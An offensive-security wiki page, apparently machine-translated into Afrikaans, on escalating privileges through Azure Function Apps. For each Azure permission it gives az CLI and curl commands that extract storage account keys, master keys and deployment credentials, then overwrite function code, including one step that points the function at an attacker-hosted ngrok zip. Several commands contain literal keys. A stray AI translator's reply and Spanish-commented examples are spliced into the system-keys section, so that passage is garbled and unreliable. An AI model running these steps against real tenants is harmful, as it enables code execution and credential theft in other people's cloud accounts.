Az - Functions App Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Function Apps

Kyk na die volgende bladsy vir meer inligting:

Az - Function Apps

Bucket Read/Write

Met permissies om die containers binne die Storage Account wat die funksie-data stoor te lees, is dit moontlik om verskillende containers (aangepas of met voorafbepaalde name) te vind wat moontlik die code wat deur die funksie uitgevoer word bevat.

Sodra jy vind waar die code van die funksie geleë is, en as jy write permissions daaroor het, kan jy die funksie laat uitvoer van enige code en privileges eskaleer na die managed identities wat aan die funksie gekoppel is.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Die code van die funksie word gewoonlik in ’n file share gestoor. Met genoeg toegang is dit moontlik om die code-lêer te wysig en make the function load arbitrary code wat toelaat om privileges te eskaleer na die managed identities wat aan die Function gekoppel is.

Hierdie ontplooiingsmetode stel gewoonlik die instellings WEBSITE_CONTENTAZUREFILECONNECTIONSTRING en WEBSITE_CONTENTSHARE op wat jy kan kry vanaf

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Those configs will contain the Storage Account Key that the Function can use to access the code.

Caution

Met voldoende toestemming om by die File Share aan te sluit en die lopende modify the script te verander, is dit moontlik om execute arbitrary code in die Function uit te voer en privileges te escalate.

Die volgende voorbeeld gebruik macOS om met die file share te koppel, maar dit word aanbeveel om ook die volgende bladsy te raadpleeg vir meer inligting oor file shares:

Az - File Shares

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

Dit is ook algemeen om die zip releases binne die gids function-releases van die Storage Account container te vind wat die function app gebruik, in ’n container gewoonlik genoem function-releases.

Gewoonlik sal hierdie deployment-metode die WEBSITE_RUN_FROM_PACKAGE konfigurasie stel in:

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Hierdie konfigurasie sal gewoonlik ’n SAS URL to download the code from the Storage Account bevat.

Caution

Met genoeg toestemming om te koppel aan die blob container wat contains the code in zip is dit moontlik om execute arbitrary code in die Function en escalate privileges.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Net soos in die vorige geval, as die deployment gedoen is via Github Actions is dit moontlik om die gids github-actions-deploy in die Storage Account te vind wat ’n zip van die code bevat en ’n SAS URL na die zip in die instelling WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Met toestemmings om die containers binne die Storage Account wat die function data stoor te lees, is dit moontlik om die container scm-releases te vind. Daarin is dit moontlik om die jongste release in Squashfs filesystem file format te vind en gevolglik die code van die function te lees:

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

Dit is ook moontlik om die master- en functions-sleutels te vind wat gestoor is in die storage account in die container azure-webjobs-secrets binne die gids <app-name> in die JSON-lêers wat jy daarin kan vind.

Caution

Met voldoende toestemming om aan die blob container te koppel wat die kode in ’n zip extension file bevat (wat eintlik ’n squashfs is), is dit moontlik om arbitrêre kode in die Function uit te voer en bevoegdhede te eskaleer.

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Hierdie toestemming laat toe om die function-, master- en system-sleutels te lys, maar nie die host-sleutel van die gespesifiseerde function nie, met:

az functionapp keys list --resource-group <res_group> --name <func-name>

Met die master key is dit ook moontlik om die bronkode te kry via ’n URL soos:

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v

En om die kode wat in die funksie uitgevoer word te verander met:

# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Hierdie toestemming maak dit moontlik om die standaard sleutel van die gespesifiseerde funksie te kry met:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Roep die funksie aan met die standaard sleutel wat verkry is:

curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"

Microsoft.Web/sites/host/functionKeys/write

Hierdie toestemming laat toe om ’n function key van die gespesifiseerde funksie te skep of op te dateer met:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Hierdie toestemming maak dit moontlik om ’n master key vir die gespesifiseerde funksie te skep/opdateer met:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Caution

Onthou dat met hierdie sleutel jy ook toegang tot die bronkode kan kry en dit soos voorheen verduidelik kan wysig!

Microsoft.Web/sites/host/systemKeys/write

Hierdie toestemming laat toe om ’n stelselfunksiesleutel vir die aangeduide funksie te skep of by te werk met:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

I don’t have the key or any file content. Please paste the text you want translated (or the key) here.

Do NOT share real secret credentials or sensitive keys — if the key is sensitive, redact it or provide a non-sensitive placeholder and I will proceed with the translation to Afrikaans.

# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"

Microsoft.Web/sites/config/list/action

Hierdie toestemming maak dit moontlik om die instellings van ’n funksie te kry. Binne hierdie konfigurasies kan dit moontlik wees om die standaardwaardes AzureWebJobsStorage of WEBSITE_CONTENTAZUREFILECONNECTIONSTRING te vind, wat ’n account key bevat om toegang te kry tot die blob storage van die funksie met FULL permissions.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Boonop laat hierdie toestemming ook toe om die SCM username and password (indien geaktiveer) te kry met:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Hierdie permissies laat toe om die konfigurasiewaardes van ’n funksie te lys soos ons reeds gesien het, plus om hierdie waardes te wysig. Dit is nuttig omdat hierdie instellings aandui waar die kode wat binne die funksie uitgevoer word, geleë is.

Dit is dus moontlik om die waarde van die instelling WEBSITE_RUN_FROM_PACKAGE te stel wat na ’n URL-zip-lêer wys wat die nuwe kode bevat om binne ’n webtoepassing uitgevoer te word:

  • Begin deur die huidige konfigurasie te kry
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • Skep die kode wat jy wil hê die funksie moet uitvoer en host dit publieklik
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Wysig die funksie, behou die vorige parameters en voeg aan die einde die config WEBSITE_RUN_FROM_PACKAGE by wat wys na die URL met die zip wat die kode bevat.

Die volgende is ’n voorbeeld van my eie instellings — jy sal die waardes na jou eie moet verander. Let op die waardes aan die einde: "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip" — dit is waar ek die app gehost het.

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

Met hierdie toestemming is dit moontlik om die kode van ’n toepassing te wysig deur die webkonsole (of deur die volgende API-endpoint):

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Hierdie toestemming maak dit moontlik om alle publishing profiles te lys, wat basies basic auth credentials bevat:

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Nog ’n opsie sou wees om jou eie creds te stel en hulle te gebruik met:

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • As die inlogbewyse REDACTED is

As jy sien dat daardie inlogbewyse REDACTED is, is dit omdat jy die SCM basic authentication option moet aanskakel en daarvoor benodig jy die tweede toestemming (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Method SCM

Dan kan jy met hierdie basic auth credentials to the SCM URL van jou function app toegang kry en die waardes van die env variables kry:

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Let wel dat die SCM username gewoonlik die teken “$” is, gevolg deur die naam van die app, dus: $<app-name>.

Jy kan ook die webblad bereik vanaf https://<app-name>.scm.azurewebsites.net/BasicAuth

Die settings-waardes bevat die AccountKey van die storage account wat die data van die function app stoor, wat dit moontlik maak om daardie storage account te beheer.

  • Metode FTP

Koppel aan die FTP-bediener met:

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Note that the FTP username is usually in the format <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

Hierdie toestemming laat toe om deur die VFS die read the source code van die app te lees:

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

Met hierdie toestemming is dit moontlik om get the admin token wat later gebruik kan word om die master key te bekom en dus toegang tot en wysiging van die funksie se kode moontlik te maak.

In my onlangse kontroles is geen token teruggegee nie, dus kan dit gedeaktiveer of nie meer funksioneel wees nie, maar hier is hoe jy dit sou doen:

# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Hierdie toestemming laat toe om functions te aktiveer wat moontlik uitgeskakel is (of om dit uit te skakel).

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

Dit is ook moontlik om te sien of ’n funksie geaktiveer of gedeaktiveer is op die volgende URL (met die toestemming tussen hakies):

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

Met hierdie toestemmings is dit moontlik om die container wat deur ’n function app gedraai word, te wysig wat gekonfigureer is om ’n container te gebruik. Dit sou ’n aanvaller toelaat om ’n skadelike azure function container app na docker hub (byvoorbeeld) op te laai en die function dit te laat uitvoer.

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

Met hierdie toestemmings is dit moontlik om ’n nuwe user managed identity aan ’n function te koppel. As die function gekompromitteer sou word, sal dit toelaat om bevoegdhede na enige user managed identity op te skaal.

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Afstands-debugging

Dit is ook moontlik om aan te sluit om ’n lopende Azure Function te debug soos explained in the docs. Azure skakel hierdie opsie egter standaard na 2 dae af as die ontwikkelaar dit vergeet, om te voorkom dat kwesbare konfigurasies agterbly.

Dit is moontlik om te kontroleer of ’n Function se debugging geaktiveer is met:

az functionapp show --name <app-name> --resource-group <res-group>

Indien jy die toestemming Microsoft.Web/sites/config/write het, is dit ook moontlik om ’n funksie in foutopsporingsmodus te sit (die volgende opdrag vereis ook die toestemmings Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read en Microsoft.Web/sites/Read).

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Verander Github repo

Ek het probeer om die Github repo vanwaar die ontplooiing plaasvind te verander deur die volgende opdragte uit te voer, maar selfs al het dit verander, is die nuwe kode nie gelaai (waarskynlik omdat dit verwag dat die Github Action die kode sal opdateer).
Boonop is die managed identity federated credential nie opgedateer om die nuwe repository toe te laat nie, dus lyk dit of dit nie baie nuttig is nie.

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks